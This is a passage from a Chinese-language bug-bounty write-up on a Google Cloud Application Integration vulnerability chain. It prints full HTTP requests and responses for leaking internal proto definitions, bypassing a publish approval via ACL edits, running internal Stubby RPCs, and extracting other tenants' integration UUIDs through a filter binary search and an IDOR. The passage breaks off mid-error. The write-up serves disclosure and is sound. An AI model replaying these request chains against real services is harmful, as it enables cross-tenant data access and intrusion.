Google Cloud生产环境遭$148,337 RCE漏洞利用StubZero: $148,337 RCE in Google Cloud Production
文章描述了一起发生在Google Cloud生产环境的远程代码执行(RCE)安全事件,攻击者通过信息泄露和组合缺失的漏洞组件,在一小时内成功利用漏洞。三个月后类似事件再次发生。漏洞涉及金额高达14.8万美元,凸显了云环境配置错误和快速响应的重要性。
Arvin Shivram
最初始于调试端点的信息泄露问题,最终演变为 Google Cloud 生产环境中的完整远程代码执行。三个月后,该漏洞再次出现。此漏洞被分配为 CVE-2026-2031。
故事始于我的自动化模糊测试工具向我发出警报,关于 API cloudcrmipfrontend-pa.googleapis.com,因为它对某些可疑的端点返回了状态码 200。进一步检查发现,该 API 似乎存在多个公共调试端点:
截图来自我用于测试内部 Google API 的内部 API 探索器工具(基于 discovery document)
req2proto as a Service™
部分端点如 GET /v1/integrationPlatform:listServicesByServer 始终返回内部服务器错误。但端点 /v1/integrationPlatform:getProtoDefinition 却能返回 google3(Google 内部源代码 monorepo)中任何 protobuf 消息的 proto 定义,即使对于 YouTube 这类无关服务也是如此。
请求
GET /v1/integrationPlatform:getProtoDefinition?fullName=youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext&isEnum=false HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
Cookie: <redacted>
Authorization: SAPISIDHASH <redacted>
Origin: https://console.cloud.google.com
X-Goog-Api-Key: AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE对该 API 进行身份验证时,我们使用 Google 专有的第一方认证机制。这需要包含 Google 账户 cookie 头的 Cookie 头,以及使用 SAPISID cookie 和允许的源 https://console.cloud.google.com 计算出的 Authorization 头值。
响应
{
"protoDescriptor": {
"name": "InnerTubeContext",
"field": [
{
"name": "client",
"number": 1,
"label": "LABEL_OPTIONAL",
"type": "TYPE_MESSAGE",
"typeName": ".youtube.api.pfiinnertube.YoutubeApiInnertube.ClientInfo",
"jsonName": "client"
},
{
"name": "user",
"number": 3,
"label": "LABEL_OPTIONAL",
"type": "TYPE_MESSAGE",
"typeName": ".youtube.api.pfiinnertube.YoutubeApiInnertube.UserInfo",
"jsonName": "user"
},
...这非常关键,因为在 Google,所有内容都基于 proto。所有 API 均通过 protobuf 以 gRPC 服务形式在内部定义,因此这实际上可以暴露任何端点的请求/响应体,对于像 Google 这样的黑盒目标而言,简直就是金矿。
过去我曾开发过名为 req2proto 的工具来实现这一目的,但该工具仅限于查找请求体的 proto,而非响应体,且默认假设 API 支持 JSPB(application/json+protobuf),而大多数 API 并不支持。我和朋友们开玩笑地称从此端点为“req2proto as a service”,因为它实际上是托管版、功能更强大的工具。
在进一步探测此端点前,我先检查是否有其他端点会泄露信息。
泄露内部工作流执行队列
初始未设置查询参数时,该端点仅返回 INVALID_ARGUMENT 错误。尝试 * 等过滤器也未成功。但根据过往经验,这些过滤参数通常允许符合 https://google.aip.dev/160 的任何筛选操作。
因此,当我尝试将 filter 设为 client_id>"123" 时,得到了有趣的响应:
{
"error": {
"code": 500,
"message": "Failed to convert server response to JSON",
"status": "INTERNAL"
}
}看起来它试图给我的响应没有 JSON 映射。但 Google API 支持通过标准 ?alt= 参数更改响应内容类型。例如,?alt=proto 会以 protobuf 格式返回输出。
唯一问题是由于我们使用 Google 专有第一方认证(Cookie 和 Authorization 头),必须向 hostname cloudcrmipfrontend-pa.clients6.google.com 而非 cloudcrmipfrontend-pa.googleapis.com 发送请求,但 Google 不允许对 *.google.com 的请求返回原始 proto 响应:
Request unsafe for browser client domain: cloudcrmipfrontend-pa.clients6.google.com庆幸的是有变通方法。可使用头 X-Goog-Encode-Response-If-Executable: base64,此时响应将以 base64 而非二进制数据返回:
GET /v1/integrationPlatform:listQuotaQueue?filter=client_id%3E%22123%22&alt=proto HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
Cookie: <redacted>
Authorization: SAPISIDHASH <redacted>
Origin: https://console.cloud.google.com
X-Goog-Api-Key: AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE
X-Goog-Encode-Response-If-Executable: base64API 返回了一个大型 base64 protobuf 响应。利用之前泄露的 proto 定义获取 ListQuotaQueueResponse 的模式后,我成功解码了它,发现这实际上是一种内部工作流执行队列,其中包括从 Spanner 同步数据到 Salesforce 的工作流:
{
"queue_items": [
{
"queued_request": {
"queued_request_id": "75a885e2-c611-43f7-b4e2-ae0d87bae789",
"client_id": "default",
"workflow_name": "WriteToSfdc",
"priority": "CRITICAL",
"received_timestamp": 1763057385562,
"event_execution_info_id": "615cd9a9-9c0e-46ec-90df-91ee42ec9c37"
},
"event_execution_info": {
"client_id": "default",
"workflow_name": "WriteToSfdc",
"trigger_id": "api_trigger/WriteToSfdc",
...
"type_url": "type.googleapis.com/enterprise.crm.datalayer.WriteToSfdcRequest",
...
"sfdc_object": {
"vector_account": {
"id": "001Kf00000wjeK3IAI",
"due_diligence__c": "Pending",
"due_diligence_sub_status__c": "1. PENDING DD - Initial Submission Review"
...不久后,我提交了这些漏洞的报告。仅仅几小时后,它被标记为 P0/S0 级别,并获得了 🎉 Nice catch!
进一步升级?
经过这些事件后,我确信这个 API 中可能还有更多可利用的内容,于是我开始检查所有工作流端点。该 API 似乎与 Google Cloud 的应用集成相关。
它允许你定义一个“工作流”,并为触发工作流的条件提供 triggerConfig,以及指定要触发的任务的任务配置 taskConfig。最引人注目的是,在查看发现文档时,似乎存在一个叫 GenericStubbyTypedTask 的任务,你可以配置工作流来执行它,这立刻引起了我的警惕。
"EnterpriseCrmEventbusProtoTaskUiModuleConfig": {
"description": "Task author would use this type to configure a config module.",
"id": "EnterpriseCrmEventbusProtoTaskUiModuleConfig",
"properties": {
"moduleId": {
"description": "ID of the config module.",
"enum": [
...
"RPC_TYPED",
...
],
"enumDescriptions": [
...
"Configures a GenericStubbyTypedTask.",
...
],
}
}
},根据 Google 的 SRE 书:
Google 的所有服务都使用名为 Stubby 的远程过程调用(RPC)基础设施进行通信;其开源版本是 gRPC。通常,即使需要在本地程序中调用子程序,也会进行 RPC 调用。这样,如果需要更高的模块化程度或服务器代码库增长时,更容易将调用重构到不同的服务器。
根据我对这一机制的理解,Borg(即 Google 生产环境)遵循一种安全模型,其中每个 borgtask 服务都有其自己的身份标识。当你向 *.googleapis.com 端点发送请求时,前端服务会使用其自身的 prod 服务身份通过 Stubby 调用后端服务,并在安全票据中携带你的最终用户上下文。如果票据中包含你的 Gaia 用户 ID,后端服务将以该用户的身份授权请求。以下是来自 Google API 错误响应的两个泄露的安全票据示例:
com.google.apps.framework.auth.IamPermissionDeniedException:
IAM authority does not have the permission 'cloudprivatecatalog.targets.get'
required for action PrivateCatalogV1Beta1-SearchProducts
on resource ''.Explanation:com.google.apps.framework.auth.IamPermissionDeniedException:
IAM authority does not have the permission 'resourcemanager.projects.get'
required for action GetServiceAccessStatus
on resource 'projects/613988253758'.Explanation:在这两种情况下,peer 块显示了 prod 服务身份进行的内部 Stubby 调用。区别在于最终用户上下文:第一个票据是匿名的,而第二个包含 GAIA_MINT 凭证(当你在 Google 中使用 cookie 或 bearer 认证时,会被转换为标准的 UberMint 令牌,其中包含嵌入的 GaiaMint),这意味着后端以该 Gaia 用户身份授权请求。这样,例如对 /ContactsService.ListContacts 的请求只会返回该授权用户的联系人信息。
如果我们能以集成平台的 prod 服务身份执行任意 Stubby 查询,这将允许我们访问各种 RPC,范围从敏感用户数据到代码执行,具体取决于 prod 用户的权限。因此,Google 认为这大大增加了攻击面,并将其视为 RCE(远程代码执行)。
通常情况下,即使能在 borglet 中获得代码执行,除非你对本地处理的数据特别感兴趣,否则主要影响实际上是可以通过 Stubby RPC 访问整个生产环境。
那么,什么决定了从窃取的 Stubby 原始数据中可以调用哪些 RPC?Google 中的每个 Stubby 服务都有一个定义的 RpcSecurityPolicy,其中包含每个方法的允许列表。以下是从 Cloud SQL Speckle Boss 流程中的一个真实示例:
mapping {
rpc_method: "/SaasActuation.UpdateInstance"
rpc_method: "/MaintenancePolicyService.CreateMaintenancePolicy"
...
authentication_policy {
creds_policy {
rules {
permissions: "auth.creds.useProdUserEUC"
action: ALLOW
in: "mdb:zamm-exe-3-cloud-sql--default-policy"
in: "user:speckle-tool-proxy@prod.google.com"
}
rules {
permissions: "auth.creds.useLOAS"
action: ALLOW
in: "allUsers"
}
}
}
authorization_mode: MANUAL_IAM
permission_to_check: "cloudsql.instances.rollout"
}每个映射块列出了一组 RPC 方法,并声明在何种凭证类型下允许哪些调用者调用它们。根据我的理解,auth.creds.useLOAS 表示“任何 BorgTask 都可以使用其自身的 LOAS 身份调用此方法”,而 auth.creds.useProdUserEUC 表示“仅这些特定的 MDB 组被允许将 Gaia 终端用户身份(即 UberMint 令牌)转发到调用中”。
LOAS(低开销认证系统)是 Google 的内部身份验证与加密框架,更多信息请参见这篇论文。
permission_to_check 随后会告诉后端对最终解析出的身份强制执行哪种 IAM 权限。
即使拥有窃取的 Stubby 原语,你也不能随意调用所有 RPC。你只能访问那些 RpcSecurityPolicy 允许你的对等身份通过的 RPC。尽管如此,这仍然大大增加了可攻击面。
当我最初尝试创建工作流时,遇到了以下 INVALID_ARGUMENT 错误:
请求
POST /v1/integrationPlatform:createDraftWorkflow HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
Cookie: <redacted>
Authorization: SAPISIDHASH <redacted>
Origin: https://console.cloud.google.com
X-Goog-Api-Key: AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE
Content-Type: application/json
Content-Length: 197
{
"workflow": {
"name": "my-new-workflow-test",
"origin": "UI",
"triggerConfigs": [],
"taskConfigs": []
},
"isNewWorkflow": true
}响应
{
"error": {
"code": 400,
"message": "Request contains an invalid argument.",
"status": "INVALID_ARGUMENT"
}
}趣味事实:如果这个请求是从 Google 内部网发送的,它会输出完整的堆栈跟踪,而不是像这样通用的错误信息。
我怀疑自己可能遗漏了一个必需的参数,可能是 clientId。回忆起之前 listQuotaQueue 响应中泄露的 "client_id": "default",我将它设为 clientId,结果成功了:
请求
POST /v1/integrationPlatform:createDraftWorkflow HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
Cookie: <redacted>
Authorization: SAPISIDHASH <redacted>
Origin: https://console.cloud.google.com
X-Goog-Api-Key: AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE
Content-Type: application/json
Content-Length: 197
{
"workflow": {
"name": "my-new-workflow-test",
"origin": "UI",
"clientId": "default",
"triggerConfigs": [],
"taskConfigs": []
},
"isNewWorkflow": true
}响应:
{
"workflow": {
"workflowId": "53b2a49c-dd5e-4e45-829b-61a3b2e8ff6e",
"name": "my-new-workflow-test",
"origin": "UI",
"creatorEmail": "admin@gvrptest.cry.dev",
"createdTime": "2025-12-01T04:19:14.449503Z",
"lastModifiedTime": "2025-12-01T04:19:14.449503Z",
"status": "DRAFT",
"snapshotNumber": "1",
"tags": [
"HEAD"
],
"lockedBy": "admin@gvrptest.cry.dev",
"lockedAtTime": "2025-12-01T04:19:14.449503Z",
"lastModifierEmail": "admin@gvrptest.cry.dev",
"clientId": "default"
}
}然而,为了运行工作流,似乎需要先发布它,但这一步卡住了我:
请求
POST /v1/integrationPlatform:publishWorkflow HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
Cookie: <redacted>
Authorization: SAPISIDHASH <redacted>
Origin: https://console.cloud.google.com
X-Goog-Api-Key: AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE
Content-Type: application/json
{
"workflowId": "53b2a49c-dd5e-4e45-829b-61a3b2e8ff6e"
}响应
{
"error": {
"code": 403,
"message": "Publisher admin@gvrptest.cry.dev cannot be the same as the last editor admin@gvrptest.cry.dev of the integration my-new-workflow-test with snapshot number 1 and integration ID 53b2a49c-dd5e-4e45-829b-61a3b2e8ff6e being edited from the UI. Please raise a Request to Publish and have your change approved by another person.",
"status": "PERMISSION_DENIED"
}
}我需要以某种方式向工作流添加另一个用户,并用它来发布。当时,我曾尝试使用 ACL 端点添加另一个账户,但没有正确设置权限。
改变一切的 DM
在我最初报告这个问题的一个多月后,我和几位研究人员在一个 Discord 群聊中开玩笑说我在 Google 中发现了一个可以泄露 protobuf 定义的漏洞:
这时,shrugged 说他也有同样的 bug,我们的讨论就此展开。
原来,shrugged 在研究另一个漏洞时,也在调查这个 API,并在 Application Integration 的 JavaScript 文件中注意到这些端点。他发现了 GenericStubbyTypedTask 作为潜在 RCE 向量,但在初始草稿工作流创建时没有有效的 client_id 卡住了。
而我从配额队列泄漏中获得了 client_id,但在发布步骤上卡住了。我们迅速交换了笔记:我分享了 client_id: "default" 以及我遇到障碍的地方,然后继续前进。
Google 已经从我最初的报告中推出了修复措施,因此许多原始端点现在返回 PERMISSION_DENIED。但我们注意到一个有趣的现象——许多端点在服务名称不同的情况下有 1:1 的有效对应端点:
最初的修复仅屏蔽了原始的“WorkflowEditorService”端点,但这些对应端点并未受影响。问题出在 createDraftWorkflow——我们找不到它的对应端点,并且它返回的是 PERMISSION_DENIED:
{
"error": {
"code": 403,
"message": "The caller does not have permission",
"status": "PERMISSION_DENIED"
}
}奇怪的是,当 shrugged 尝试相同的请求时,他第一次就成功了,而我却始终收到 PERMISSION_DENIED。这时我恍然大悟:修复尚未完全传播到所有负载均衡的后端。通过反复发送相同的请求,我们可以可靠地路由到仍允许通过的后台服务器:
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{ "workflow": { "workflowId": "c6141c63-ac7a-4350-b582-7615ef045d0c", "name": "retest", "origin": "UI", "creatorEmail": "admin@gvrptest.cry.dev", "createdTime": "...", "lastModifiedTime": "...", "status": "DRAFT", "snapshotNumber": "1", "tags": [ "HEAD" ], "lockedBy": "admin@gvrptest.cry.dev", "lockedAtTime": "...", "lastModifierEmail": "admin@gvrptest.cry.dev", "clientId": "default" } }不过,任务名 GenericStubbyTypedTask 似乎并不存在。通过查看 /v1/integrationPlatform:listTaskEntities 的响应(使用 getProtoDefinition 获取的 proto 定义解码),发现其仅返回带有 IO_TEMPLATE 的任务。
{
"taskEntities": [
{
"metadata": {
"name": "Delete SFDC Record",
"descriptiveName": "Delete Salesforce Record",
"description": "Deletes a record in Salesforce",
"g3DocLink": "https://g3doc.corp.google.com/company/teams/cloudcrm/platform/user_guide/tasks/write_to_sfdc.md#delete-sfdc-record-task",
"iconLink": "https://gstatic.com/enterprise/crm/eventbus/images/icons/blue/salesforce_009EDB_48px_1_blue.svg",
"codeSearchLink": "https://cs.corp.google.com/piper///depot/google3/java/com/google/enterprise/crm/eventbus/connectors/generic/impl/GenericRestV2TaskImpl.java",
...
},
"paramSpecs": {
"parameters": [
{
"key": "salesforceDomain",
"dataType": "STRING_VALUE",
"className": "java.lang.String",
"config": {
"descriptivePhrase": "Check in Salesforce: Setup > Company Settings > My Domain. If you don't have My Domain enabled, please use \"yourinstance.salesforce.com\" as the Salesforce domain.",
"label": "Salesforce domain",
"uiPlaceholderText": "e.g. yourDomain.my.salesforce.com"
},
"required": 1
},
...
]
},
...
"taskType": "IO_TEMPLATE"
},
...
]
}看起来 GenericStubbyTypedTask 很可能是底层 ASIS_TEMPLATE 的一部分:
{
"taskType": {
"description": "Defines the type of the task",
"enum": [
"TASK",
"ASIS_TEMPLATE",
"IO_TEMPLATE"
],
"enumDescriptions": [
"Normal IP task",
"Task is of As-Is Template type",
"Task is of I/O template type with a different underlying task"
],
"type": "string"
}
}有趣的是,该端点的底层 RPC 是 google.internal.cloud.crm.ipfrontend.v1.WorkflowEditorService/ListTaskEntities。这与公开产品 Application Integration 的 /$rpc/google.cloud.integrations.v1alpha.Integrations/ListTaskEntities 极为相似,但后者也未直接返回任何 ASIS_TEMPLATE 任务。
回顾 Cloud Console 中 Application Integration 的 JS 代码:
["Vertex AI - Predict","https://www.gstatic.com/enterprise/crm/eventbus/images/icons/custom_tasks/document_ai.png"],
["GenericStubbyTypedTaskV2","http://gstatic.com/enterprise/crm/eventbus/images/icons/blue/stubby_48px_blue.svg"],
["RunGoogleSqlPlxQueryTask","https://fonts.gstatic.com/s/i/productlogos/plx/v6/192px.svg"],
["ConvertDremelResultToJsonTask","https://www.gstatic.com/images/icons/material/system/2x/settings_googblue_24dp.png"],确切的任务名是 GenericStubbyTypedTaskV2,甚至自带专属图标:
尝试在 Application Integration 中配置 GenericStubbyTypedTask 时,错误提示揭示了所需字段:
{
"error": {
"code": 400,
"message": "'Required input key serverSpec not present in task GenericStubbyTypedTaskImpl, task number 1.'",
"status": "INVALID_ARGUMENT"
}
}逐一补全缺失的键后,发现需要 serverSpec、serviceName 和 serviceMethod 参数。这些参数同样适用于 GenericStubbyTypedTaskV2。参考 Ezequiel Pereira 的 protobuf 仓库,并结合另一份泄露文档中的 GSLB 地址,我们将任务配置为调用 gslb:alkali-base 上的 /ServerStatus.GetServices:
趣味事实:Alkali 是 Google 内部框架,Google 员工可用它快速启动生产级 API,且常存在大量安全问题。
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{"workflow": {"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19", "name": "retest-test123", "taskConfigs": [{"taskName": "GenericStubbyTypedTaskV2", "taskNumber": "1", "parameters": {"response": {"key": "response", "value": {"stringValue": "$response$"}, "dataType": "STRING_VALUE"}, "serverSpec": {"key": "serverSpec", "value": {"stringValue": "gslb:alkali-base"}, "dataType": "STRING_VALUE"}, "serviceName": {"key": "serviceName", "value": {"stringValue": "ServerStatus"}, "dataType": "STRING_VALUE"}, "serviceMethod": {"key": "serviceMethod", "value": {"stringValue": "GetServices"}, "dataType": "STRING_VALUE"}}, "position": {"x": -716, "y": -445}, "label": "Stubby Internal", "incomingEdgeCount": 1, "taskType": "ASIS_TEMPLATE", "externalTaskType": "NORMAL_TASK"}], "triggerConfigs": [{"startTasks": [{"taskNumber": "1"}], "properties": {"Trigger name": "my-api-trigger-123"}, "triggerType": "API", "triggerNumber": "1", "enabledClients": ["default"], "triggerId": "api_trigger/my-api-trigger-123"}], "origin": "UI", "creatorEmail": "<REDACTED>", "createdTime": "2026-01-12T09:45:55.896951Z", "lastModifiedTime": "2026-01-12T09:45:55.896951Z", "status": "DRAFT", "snapshotNumber": "1", "tags": ["HEAD"], "lockedBy": "<REDACTED>", "lockedAtTime": "2026-01-12T09:45:55.896951Z", "lastModifierEmail": "<REDACTED>", "clientId": "default"}}这里的一切与 Application Integration 惊人地相似——工作流结构、任务配置,甚至发布和运行流程。注意到我们工作流中的 "position": {"x": -716, "y": -445} 吗?内部 UI 很可能与 Application Integration 的可视化编辑器类似,本质上是在设置任务坐标位置:
还记得之前因 ACL 问题无法发布的阻碍吗?最终发现只需更新 IP_EVENTBUS_WORKFLOWS 的 ACL,用两个攻击者控制的 Google 账户的混淆 Gaia ID 即可绕过限制:
Request
POST /v1/integrationPlatform/auth:setAcl HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://console.cloud.google.com
X-Goog-Api-Key: AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE
Content-Type: application/json
Content-Length: 500
{"resourceInfo": {"resource": "IP_EVENTBUS_WORKFLOWS", "id": "retest-test123"}, "acl": {"entries": [{"scope": {"obfuscatedGaiaId": "100029910836469267942"}, "role": 105}, {"scope": {"obfuscatedGaiaId": "113728935872649341310"}, "role": 105}]}}Response
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{}首先,使用第一个攻击者 Google 账户切换了发布工作流的请求:
POST /v1/integrationPlatform/workflowdeployment:toggleRequestToPublishWorkflow HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
...
{"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19"}随后,用第二个攻击者账户成功发布了工作流:
POST /v1/integrationPlatform/workflowdeployment:publishWorkflow HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
...
{"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19"}配置了 serverSpec 为 gslb:alkali-base、service/method 为 /ServerStatus.GetServices 的 GenericStubbyTypedTaskV2 工作流执行后,我们得以运行 Stubby 查询:
...
{
"protoValue": {
"@type": "type.googleapis.com/rpc.ServiceList",
"service": [
{
"name": "AlkaliBaseAccountService",
"descriptor": {
"filename": "google/internal/alkali/base/v1/alkali_base_account_service.proto",
"name": "AlkaliBaseAccountService",
"method": [
{
"name": "ListAccounts",
"argumentType": "google.internal.alkali.base.v1.ListAccountsRequest",
"resultType": "google.internal.alkali.base.v1.ListAccountsResponse",
"deadline": 30,
"securityLevel": "none"
},
{
"name": "ListAccessibleAccounts",
"argumentType": "google.internal.alkali.base.v1.ListAccessibleAccountsRequest",
"resultType": "google.internal.alkali.base.v1.ListAccountsResponse",
"deadline": 30,
"securityLevel": "none"
},
...随后将初始漏洞报告升级为 RCE 漏洞。若非两人协作,且时机恰好——我们的 PoC 演示后仅一小时,createDraftWorkflow 修复就已完全生效——否则这一 RCE 漏洞可能永远停留在理论阶段。不过,Google 在真正能利用服务器执行代码前就切断了连接。
Timeline (1st RCE)
Round 2 (3 months later)
你以为事情就此结束,但没那么简单。三个月后,我的模糊测试工具(fuzzer)提醒我在公共应用集成产品的公共API中发现了一些IDOR漏洞。
结果发现,在整个API中,URL里可以引用自己的项目ID,但也可以引用他人的UUID:
GET /v1/projects/<your-project>/locations/us-central1/integrations/anythinghere/versions/<victim-uuid> HTTP/2
Host: integrations.googleapis.com
Authorization: Bearer <redacted>API会欣然返回受害者的资源,因为认证检查是基于你的项目ID(你有权访问自己的项目),但没有检查该ID是否真的属于你的项目。
不过仅凭这一点影响有限,因为这些是UUIDv4。搜索空间太大(10^36量级),无法有效暴力破解。因此我开始寻找任何可能泄露受害者资源UUID的方法。
这时我注意到一个有趣的“测试用例”功能。文档中写道:
通过应用集成,你可以在复杂集成中创建并运行多个测试用例,这些集成连接和管理Google Cloud服务及其他业务应用。通过测试集成流程,你可以确保其按预期工作。
有趣的是,当你在前端查看测试用例加载方式时,浏览器会发送类似这样的请求:
POST /$rpc/google.cloud.integrations.v1alpha.TestCases/ListTestCases HTTP/2
Host: us-central1-integrations.clients6.google.com
Content-Type: application/x-protobuf
< RAW PROTOBUF DATA >实际请求负载是protobuf格式,我已解码以便展示其结构:
{
"1": "projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4",
"2": "workflow_id = 631a0566-02fc-4dce-b319-25e2c68168f4",
"6": {
"1": ["name", "display_name", "update_time", "client_id"]
}
}字段1是父资源路径(我的项目、我的版本UUID),字段6是响应字段掩码,而字段2 workflow_id = 631a0566-02fc-4dce-b319-25e2c68168f4似乎是一种过滤器。如果省略它,是否会返回所有工作流的测试用例?显然不会……
从请求中删除字段2和6:
{
"1": "projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4"
}响应返回了其他所有GCP项目的测试用例:
{
"testCases": [
{
"name": "projects/331540621401/locations/us-central1/integrations/my-draft-integration/versions/631a0566-02fc-4dce-b319-25e2c68168f4/testCases/b25fb963-792c-419d-a98b-eb930b2a29e3",
"displayName": "test",
"triggerId": "api_trigger/AI_bebbia_CreateWOSubs_API_1",
"testInputParameters": [
{
"key": "InputData",
"dataType": "JSON_VALUE",
"defaultValue": {
"jsonValue": "{\n \"OldSKU\": \"300465\",\n \"orderid\": \"7fe9ffa9-d122-484b-96df-9ef85cd3aa8a\",\n ...\n}"
},
"displayName": "InputData"
}
],
"creatorEmail": "redacted@google.com",
...
}
]
}仔细查看响应会发现异常:每个结果中的versions/...段都是631a0566-02fc-4dce-b319-25e2c68168f4——这是我的版本UUID,即字段1中发送的值。API直接将这个值反射到每个测试用例名称中,尽管这些测试用例完全属于不同项目中的不同集成。
虽然我现在拥有所有GCP项目中每个测试用例的ID及其集成名称和创建者邮箱,但之前IDOR漏洞所需的真实受害者版本UUID并未出现在响应中。
即便如此,仅测试用例ID已能造成实际影响。应用集成暴露了一个`:executeTest`端点,可通过ID直接运行测试用例,且不需要受害者的真实版本UUID。
请求
POST /v1/projects/<your-project>/locations/us-central1/integrations/x/versions/-/testCases/035c64d6-ea04-436d-8674-862f51191953:executeTest HTTP/2
Host: integrations.googleapis.com
Authorization: Bearer <redacted>
Content-Length: 0响应
{
"executionId": "5d49abed-7692-47aa-8660-5cdaea92d2af",
"outputParameters": {
"output": 3
},
"assertionResults": [
{
"assertion": {
"assertionStrategy": "ASSERT_EQUALS",
"parameter": {
"key": "output",
"value": { "intValue": "3" }
}
},
"taskNumber": "1",
"taskName": "JsonnetMapperTask",
"status": "SUCCEEDED"
}
],
"testExecutionState": "PASSED"
}因此我本就能触发任意测试用例在受害者环境中执行,但真正目标仍是通过之前的IDOR漏洞访问受害者整个集成,为此我需要真实的版本UUID。
我卡了一会儿,直到灵光一现。过滤器参数(字段2)显然支持=等比较运算符,那是否也支持>和<=?如果是的话,我可以锚定一个已知测试用例ID,然后对workflow_id字段逐字符进行二分搜索,最终还原完整UUID:
id = "<known-tc-uuid>" AND workflow_id > "<low>" AND workflow_id <= "<high>"每次请求都会缩小范围。若测试用例仍出现在响应中,则真实workflow_id在(low, high]区间内,否则在外。理论上,32位十六进制UUID约需128次请求即可定位。
我让Claude为此编写概念验证代码,首次尝试就完美生效:
$ python extract_by_id.py --token "<redacted>" --project 273897706296 --location "us-central1" --tc-id "60413427-4d07-4c36-bce0-66cfcdd81879"
Test case: 60413427-4d07-4c36-bce0-66cfcdd81879
Parent: projects/273897706296/locations/us-central1/integrations/x/versions/-
Verified: target found. Starting binary search...
[ 4/32] fb1d0000-0000-0000-0000-000000000000 (16 reqs)
[ 8/32] fb1dc5f3-0000-0000-0000-000000000000 (32 reqs)
[12/32] fb1dc5f3-0380-0000-0000-000000000000 (48 reqs)
[16/32] fb1dc5f3-0380-491c-0000-000000000000 (64 reqs)
[20/32] fb1dc5f3-0380-491c-af90-000000000000 (80 reqs)
[24/32] fb1dc5f3-0380-491c-af90-5a1400000000 (96 reqs)
[28/32] fb1dc5f3-0380-491c-af90-5a141aa00000 (112 reqs)
[32/32] fb1dc5f3-0380-491c-af90-5a141aa02f56 (128 reqs)
workflow_id: fb1dc5f3-0380-491c-af90-5a141aa02f56
Total requests: 128现在我有了受害者实际的集成版本 UUID。将其与 GetIntegrationVersion IDOR 链式调用:
GET /v1/projects/<your-project>/locations/us-central1/integrations/x/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56 HTTP/2
Host: integrations.googleapis.com
Authorization: Bearer <redacted>返回了属于不同项目的完整集成,包括所有触发器配置、任务配置、参数绑定和创建者邮箱:
{
"name": "projects/<your-project>/locations/us-central1/integrations/TestCasePOC5/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56",
"state": "DRAFT",
"triggerConfigs": [
{
"label": "API Trigger",
"triggerType": "API",
"triggerId": "api_trigger/TestCasePOC5_API_1"
}
],
"taskConfigs": [
{
"task": "GenericRestV2Task",
"displayName": "Call REST Endpoint",
"parameters": {
"url": { "key": "url", "value": { "stringValue": "$url$" } },
"httpMethod": { "key": "httpMethod", "value": { "stringValue": "POST" } },
"authConfigName": { "key": "authConfigName", "value": { "stringValue": "authprofiletest" } }
}
}
],
...
"integrationParameters": [
{ "key": "url", "dataType": "STRING_VALUE", "defaultValue": { "stringValue": "https://example.com" } }
],
"lastModifierEmail": "gvrptest4@gmail.com",
"createTime": "2026-03-22T11:10:30.087Z"
}如果你还记得最初测试用例的转储结果,其中不少 creatorEmail 字段以 @google.com 结尾。这说明有很多 Google 内部团队在这个平台上运行自己的集成。我的下一个显而易见的问题是:如果这些 Googler 集成的任务中已经配置了 GenericStubbyTypedTaskV2(或其他仅限内部的任务如 PythonTask、CreateBuganizerIssueTask 等)会怎样?任何一个任务都会将这种跨租户链式调用升级为更严重的情况。
但我实际上无法检查。这样做意味着要遍历真实的客户数据,这违反了 Google VRP 规则,所以我将所有收集到的信息打包后提交给了 Cloud VRP。
配置内部任务类型
这让我想到,到底是什么阻止我使用内部任务类型创建自己的集成呢?
如果我尝试创建一个内部任务:
POST /v1/projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versions HTTP/2
Host: integrations.googleapis.com
Authorization: Bearer <redacted>
Content-Length: 1033
{
"taskConfigsInternal": [
{
"taskNumber": "1",
"taskName": "PythonTask",
...
"taskEntity": {
"uiConfig": {
"taskUiModuleConfigs": [
{
"moduleId": "RPC_TYPED"
}
]
}
},
"taskType": "ASIS_TEMPLATE",
"parameters": {
"TEST": {
"key": "test",
"value": {
"stringValue": "test"
}
}
}
}
],
...
}它竟然可以正常工作:
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{
"name": "projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versions/304adc1b-6d09-4b2d-a070-db48b821879a",
"origin": "UI",
"snapshotNumber": "1",
"updateTime": "2026-05-01T07:30:07.182512Z",
"lockHolder": "gvrptest4@gmail.com",
"createTime": "2026-05-01T07:30:07.182512Z",
"lastModifierEmail": "gvrptest4@gmail.com",
"state": "DRAFT",
...
}但当我真正尝试执行工作流时,它会超时并出现以下错误:
Execution timeout, cancelled graph execution. The default timeout is 2min for sync execution and 10min for async execution. If you are using sync execution, please try async execution such as the Schedule API or Cloud Scheduler trigger. If you are already using async execution, please try to break down your integration into smaller pieces and chain them in the async way. Note any variable contains large data will also failed to upload to GCS. error/code: 'common_error_code: SYNC_EVENTBUS_EXECUTION_TIMEOUT'' 然而,我发现了一个奇怪的现象。当我配置了 PythonTask(一种内部任务),创建了测试用例并执行该测试用例时,没有发生超时,而是在前端出现了可疑的错误:
{
"1": 9,
"2": "java.io.IOException: No space left on device"
